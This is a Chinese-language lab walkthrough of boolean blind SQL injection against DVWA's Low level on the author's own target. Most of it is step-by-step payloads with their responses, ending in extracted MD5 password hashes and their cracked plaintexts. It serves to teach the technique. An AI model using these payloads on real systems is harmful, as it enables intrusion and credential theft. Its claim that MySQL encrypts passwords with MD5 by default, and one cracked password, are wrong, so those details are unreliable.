0x01、实验环境——DVWA
1、自己的靶机:http://192.168.97.130/dvwa/index.php
0x02、基于DVWA——Low级别的布尔盲注
1、判断注入点
①、输入:'
②、输入:1
③、输入:2
④、输入:3
⑤、输入:4
⑥、输入:5
⑦、输入:6
分析:
依次输入
' 回显:MISSING
1 回显:exists
2 回显:exists
3 回显:exists
4 回显:exists
5 回显:exists
6 回显:MISSING
//说明,存在注入点,并且有五条用户ID的数据
2、判断注入点类型
①、输入:1and 1=1
②、输入:1and 1=2
分析:
依次输入
1and 1 回显:exists
1and 1=2 回显:exists
//and逻辑语句的回显结果都是存在,没有起到应有的效果,说明不是整型注入,猜测是字符型注入
③、输入:1'and'1
④、输入:1'and'1'='2
⑤、输入:1'or'1
⑥、输入:1'or'1'='2
分析:
依次输入
1'and'1 回显:exists
1'and'1'='2 回显:MISSING
1'or'1 回显:exists
1'or'1'='2 回显:exists
//and逻辑语句和or逻辑语句起到了效果,说明是字符型注入
并且经过#和-- 的测试,发现注释符也没过滤
3、猜解数据库名长度、猜解数据库名
讲在前面:
1、length()函数和database()函数,猜解数据库名长度;
2、ascii()函数和substr函数和database()函数猜解数据库名;
①、输入:1'and length(database())='1
②、输入:1'and length(database())=2#
③、输入:1'and length(database())=3--
//注意注释符是:减号 减号 空格
④、输入:1'and length(database())='4
分析:
依次输入
1' and length(database())='1 回显:MISSING
1' and length(database())=2# 回显:MISSING
1' and length(database())=3-- 回显:MISSING
1' and length(database())='4 回显: exists
//使用length()函数和database()函数得:数据库名字的长度为4个单位
⑤、输入:1'and ascii(substr(database(),1,1))>'97
⑥、输入:1'and ascii(substr(database(),1,1))<'122
⑦、输入:1'and ascii(substr(database(),1,1))<'109
⑧、输入:1'and ascii(substr(database(),1,1))<'103
⑨、输入:1'and ascii(substr(database(),1,1))<'100
⑩、输入:1'and ascii(substr(database(),1,1))<'101
⑪、输入:1'and ascii(substr(database(),1,1))='100
分析:
依次输入
1'and ascii(substr(database(),1,1))>'97 回显:exists
1'and ascii(substr(database(),1,1))<'122 回显:exists
1'and ascii(substr(database(),1,1))<'109 回显:exists
1'and ascii(substr(database(),1,1))<'103 回显:exists
1'and ascii(substr(database(),1,1))<'100 回显:MISSING
1'and ascii(substr(database(),1,1))<'101 回显:exists
1'and ascii(substr(database(),1,1))='100 回显:exists
//数据库名的单位长度为1的第一个字符为:d
//综上所述:数据库名字为dvwa
//注意ASCII码对应关系为:
d 100
v 118
w 119
a 97
4、猜解当前dvwa数据库的表个数,表名字的长度,表的名字
讲在前面:
1、利用count()函数猜解当前dvwa数据库的表的个数
2、利用length()函数和substr()函数和limit猜解每个表的名字长度
3、利用ascii()函数和substr()函数和limit猜解每个表的名字
①、输入:1'and (select count(*) from information_schema.tables where table_schema='dvwa' limit 0,1)='1
②、输入:1'and (select count(*) from information_schema.tables where table_schema='dvwa' limit 0,1)='2
分析:
依次输入
1'and (select count(*) from information_schema.tables where table_schema='dvwa')='1 回显:MISSING
1'and (select count(*) from information_schema.tables where table_schema='dvwa')='2 回显:exists
//说明dvwa数据库里面表的数量为:2
③、输入:1'and length(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))>'5
④、输入:1'and length(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))<'10
⑤、输入:1'and length(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))<'8
⑥、输入:1'and length(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))='9
分析:
依次输入
1'and length(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))>'5
1'and length(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))<'10
1'and length(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))<'8
1'and length(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1))='9
//利用length()函数和substr函数以及limit得出第一个表的长度为:9
//substr()函数必须带度量值,但是substr的第几个是字符的第几个可要可不要,也可以在使用查询的时候的limit
//同理可得(不过是limit 1,1):第二个表的长度为5
⑦、输入:1'and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1,1))>'97
⑦、输入:1'and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1,1))<'122
⑦、输入:1'and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1,1))<'109
⑦、输入:1'and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1,1))<'103
⑦、输入:1'and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1,1))<'105
⑦、输入:1'and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1,1))='103
分析:
依次输入
1'and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1,1))>'97
1'and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1,1))<'122
1'and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1,1))<'109
1'and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1,1))<'103
1'and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1,1))<'105
1'and ascii(substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1,1))='103
//利用ascii()和substr()以及limit得出:第一个表的第一个字符为g
//综上所述,
第一个表名为:guestbook
第二个表名为:users
5、猜解第二个名为users的表的列(字段)数,每个字段名字的长度,字段的名字
讲在前面:
1、count()函数,猜解字段数
2、length()函数和substr函数以及limit,猜解字段名长度
3、ascii()函数和substr函数以及limit,猜解字段名字
①、输入:1'and (select count(*) from information_schema.columns where table_name='users')='8
//如图所示,dvwa的users表的字段数为:8
②、输入:1'and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))='7
//如上图所示,dvwa数据库的users表的第一个字段名字的长度为7
//综上所示:
第一个字段长度为:7
第二个字段长度为:10
第三个字段长度为:9
第四个字段长度为:4
第五个字段长度为:8
第六个字段长度为:6
第七个字段长度为:10
第八个字段 长度为:12
③、输入:1'and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))='117
//由上图所示,dvwa数据库的users表的第一个字段的名字的第一个字符为:u
117 对应 u
//综上所述:
第一个字段的名字为:user_id
第二个字段的名字为:first_name
第三个字段的名字为:last_name
第四个字段的名字为:user
第五个字段的名字为:password
第六个字段的名字为:avatar
第七个字段的名字为:last_login
第八个字段的名字为:failed_login
6、猜解user和password字段的字段值分别有几个,每个字段值的长度,每个字段值的名字
①、输入:1'and (select count(*) from users)='5
//如上图所示,users表中的user字段值有5个
②、输入:1'and length(substr((select user from users limit 0,1),1))='5
//如上图所示:user字段值中的第一个字段值长度为5
//综上所述:
第一个字段值长度:5
第二个字段值长度:7
第三个字段值长度:4
第四个字段值长度:5
第五个字段值长度:6
③、输入:1'and ascii(substr((select user from users limit 0,1),1,1))='97
//如上图所示:users表的user字段的第一个字段值的第一个字符为:a
//综上所述:
第一个字段值名字为:admin
第二个字段值名字为:gordonb
第三个字段值名字为:1337
第四字段值名字为:pablo
第五个字段值名字为:smithy
//同理可得:
password的字段值分别为:
第一个:5f4dcc3b5aa765d61d8327deb882cf99
第二个:e99a18c428cb38d5f260853678922e03
第三个:8d3533d75ae2c3966d7e0d4fcc69216b
第四个:0d107d09f5bbe40cade3de5c71e9e9b7
第五个:5f4dcc3b5aa765d61d8327deb882cf99
7、综上所述:
①、user和password对应为:
admin:5f4dcc3b5aa765d61d8327deb882cf99
gordonb:e99a18c428cb38d5f260853678922e03
1337:8d3533d75ae2c3966d7e0d4fcc69216b
pablo:0d107d09f5bbe40cade3de5c71e9e9b7
smithy:5f4dcc3b5aa765d61d8327deb882cf99
②、经过md5爆破,得到明文的密码,如下所示:
//由MySQL数据库知识,我们知道MySQL数据库默认使用md5加密密码
admin:password
gordonb:bmw787
1337:charley
pablo:letmein
smithy:password